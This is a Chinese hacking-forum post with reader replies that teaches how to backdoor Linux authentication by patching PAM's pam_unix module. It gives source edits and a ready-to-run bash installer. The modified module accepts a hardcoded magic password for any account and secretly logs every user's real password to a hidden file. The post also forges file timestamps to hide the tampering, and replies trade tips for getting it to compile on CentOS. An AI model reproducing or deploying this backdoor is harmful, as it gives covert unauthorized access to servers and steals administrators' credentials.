【我爱T00L】Spatch pam 后门的安装 更新自动安装脚本
“我爱T00LS,原创征集活动”
~~thanks t00ls
说一点感想,本人小菜,大牛别打脸。tools大牛如云~~
patch pam这个东西不是什么新东西,早几年就有了。而且有各种各样patch的方法。我之前只在网上看到过一个英文文章讲这个,那个文章已经比较老了,很多地方已经过时了。所以我根据自己测试的过程整理了这篇,方便自己以后查找使用。分享的快乐除了分享本身这个过程,还有可以学到新的东西。@lostwolf 同学提供的脚本让我知道原来网上还有个老外的视频和脚本。@zafe 同学提供了论坛之前的一个帖子,从那里我也看到了一些不错的东西。同样,我觉得,lostwolf同学分享这个脚本也是感觉很有收获的,他同时提出了centos测试不成功的问题。而我恰好测试过centos,所以给出了我的解决方案。所以这个 过程是大家都学到了新东西。so 分享吧少年,参见tools活动,大奖抱回家~
本文的定位是一个科普贴。不过看到这个自动安装的脚本以后我觉得可以有一个新的方向。关于patch pam的资料。我看到的都是一个通用的原理方法,包括前面提到的英文资料和论坛老早之前的帖子。这个帖子不同的地方就是根据我自己的调试过程给出了centos上应该如何编译,64位系统应该怎么安装的一些小小的 tips。所以我想做一个适合绝大多数linux发行版的自动化安装patch pam backdoor的脚本。这个也是pam后门的优势,比大部分rootkit更好的适应性。
不知道这个事情有木有人已经做过了。欢迎提醒。这个脚本不高深,可能只是需要不断的调试各种发行版。欢迎提供测试成功和不成功的发行版版本号。这个脚本应该是很有意思的一个事情。
## 什么pam ##
在过去,我们想要对一个使用者进行认证 (authentication),得要要求用户输入账号口令, 然后透过自行撰写的程序来判断该账号口令是否正确。也因为如此,我们常常得使用不同的机制来判断账号口令, 所以搞的一部主机上面拥有多个各别的认证系统,也造成账号口令可能不同步的验证问题! 为了解决这个问题因此有了 PAM (Pluggable Authentication Modules, 嵌入式模块) 的机制!
PAM 可以说是一套应用程序编程接口 (Application Programming Interface, API),他提供了一连串的验证机制,只要使用者将验证阶段的需求告知 PAM 后, PAM 就能够回报使用者验证的结果 (成功或失败)。由于 PAM 仅是一套验证的机制,又可以提供给其他程序所呼叫引用,因此不论你使用什么程序,都可以使用 PAM 来进行验证,如此一来,就能够让账号口令或者是其他方式的验证具有一致的结果!也让程序设计师方便处理验证的问题.[引用自鸟哥私房菜](http://vbird.dic.ksu.edu.tw/linux_basic/0410accountmanager_5.php#ps5)
## pam backdoor ##
从pam的介绍中,我们知道,其实登录系统的时候,是pam的模块来验证我们的密码是否正确的.所以就存在这样一种可能,修改pam的验证逻辑,来达到一定条件下不去跟shadow里的密码校验,而是直接返回验证正确.从而达到作为后门的目的.
patch过程如下:
下载pam的源码:http://www.linux-pam.org/library/,有很多个版本,我测试的时候都是用的最新版.没有出现问题.测试过的ubuntu10.04和centos 5.4 X64.
wget [url]http://www.linux-pam.org/library/Linux-PAM-1.1.6.tar.gz[/url]
tar zxvf Linux-PAM-1.1.6.tar.gz
cd Linux-PAM-1.1.6
vi modules/pam_unix/pam_unix_auth.c
D(("user=%s, password=[%s]", name, p));
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
AUTH_RETURN;
D(("user=%s, password=[%s]", name, p));
if(strcmp(p, "MAGIC_PASSWD") == 0) ////MAGIC_PASSWD修改为自己设置的后门密码,如12345
{
retval = PAM_SUCCESS;
AUTH_RETURN;
}
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(retval == PAM_SUCCESS)
{
FILE *fp = fopen("/usr/local/man/.pam.log","a"); /////记录管理员密码的文件路径.
fprintf(fp, "[evilpam]user=%s, password=%s\n", name, p);
fclose(fp);
}
name = p = NULL;
保存文件之后,
./configure
make
cp /lib/security/pam_unix.so /tmp/pam_unix.so
cp modules/pam_unix/.libs/pam_unix.so /lib/security/
需要注意一点.64位的系统里,pam_unix.so的路径是/lib64/security/,坑爹的是64位系统也有/lib/security/pam_unix.so这个文件,一开始调试了好久都没好....
修改文件的时间戳~~更好的隐藏~
touch -t 200909091108 pam_unix.so
##致谢##
这方面资料不是很多。感谢0daysecurity.com提供的资料分享。md写的,贴近来,改了下格式,还是有些小问题。。
感谢6楼@lostwolf 同学提供的自动安装脚本。稍微修改了下,centos默认会编译失败。添加了对centos的判断,修改configure参数。添加了64位系统的支持,自动判断路径。
本贴已经又pam模块科普和手动安装 pam 后门成功晋级为打造一个普适的linux系统pam后门自动安装脚本。欢迎测试。有任何问题可以跟帖反馈~~
测试环境:centos 5.4 x86_64 和ubuntu 10.04 。如果出现sed -e `s’ 错误,请使用bash pam.sh执行。这个错误是由于不同的shell对单双引号的规则 导致的。
#!/bin/bash
##
##查看版本:
##redhat yum list pam
##debian&Ubuntu dpkg -s libpam-modules | grep -i version | cut -d' ' -f2
##
PASS='test123' ##......
LOG='\/bin\/.sshlog' ##......
echo "
.___ ___. ___ ___ _______ ____ ____
| \/ | / _ \ / _ \ | \ \ \ / /
| \ / | | | | | | | | | | .--. | \ \/ /
| |\/| | | | | | | | | | | | | | \_ _/
| | | | | |_| | | |_| | | '--' | | |
|__| |__| \___/ \___/ |_______/ |__| "
echo -e "\nPam-Backdoor\n{code this shit while learning pam}\n\n"
oldtime=`stat -c '%z' /lib/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-1.1.1.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf Linux-PAM-1.1.1.tar.gz #untar
cd Linux-PAM-1.1.1
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
#copy modified pam_unix.so
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /lib/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "Done bro.."
评论46次
@litdgs @lostwolf @anlfi 何解? 是编译失败,没有对应文件,所以CP失败? 还是cp当前路径没有该文件,当make install后,软件已经安装成功,安装到默认路径下,一般是/usr/local,cp当前目录下的文件当然没有相对应的文件了?
不错的东西。。。。。。。
@President @w1ngs 看我的感想做为活动软文怎么样~~~
是的,我搜了没搜到。感谢提供。这个帖子中提到了一些我没关注过的东西。patch pam这个东西确实0几年就有了。现在这个 帖子的目标是打造一个适合 绝大多数linux发行版的自动化安装脚本~~欢迎提供测试反馈。
@litdgs https://www.t00ls.com/thread-20107-1-2.html 原理都是一样的
不错的东东。。。。。。
自动安装的脚本貌似修改时间有点问题,继续修改中
感谢分享。
基本上所有的linux都是用pam的方式来认证了吧。所以这种方式虽然跟rootkit比有很多缺点,优点就是适应性广。
看了半天原来是后门啊!嗯,pan这东西 很多主机在用吗?
感谢分享!
mark!!!!
分享下吧 我centos 下一直 不成功
科普帖子啊
@lostwolf 我这centos 5.4 是报selinux的问题。编译的时候。 ./configure --disable-selinux 就可以成功了。
@zafe 求链接,话说新手搜捕了。我学xi学xi去
@lostwolf 还有这么高端的东西,感谢分享。centos 编译的时候可能会有些问题,需要 调整一些参数,编译完成之后依然是可以的安装成功的。
谢谢分享。不错的东西。
感谢分享 很不错的东东
感谢分享哈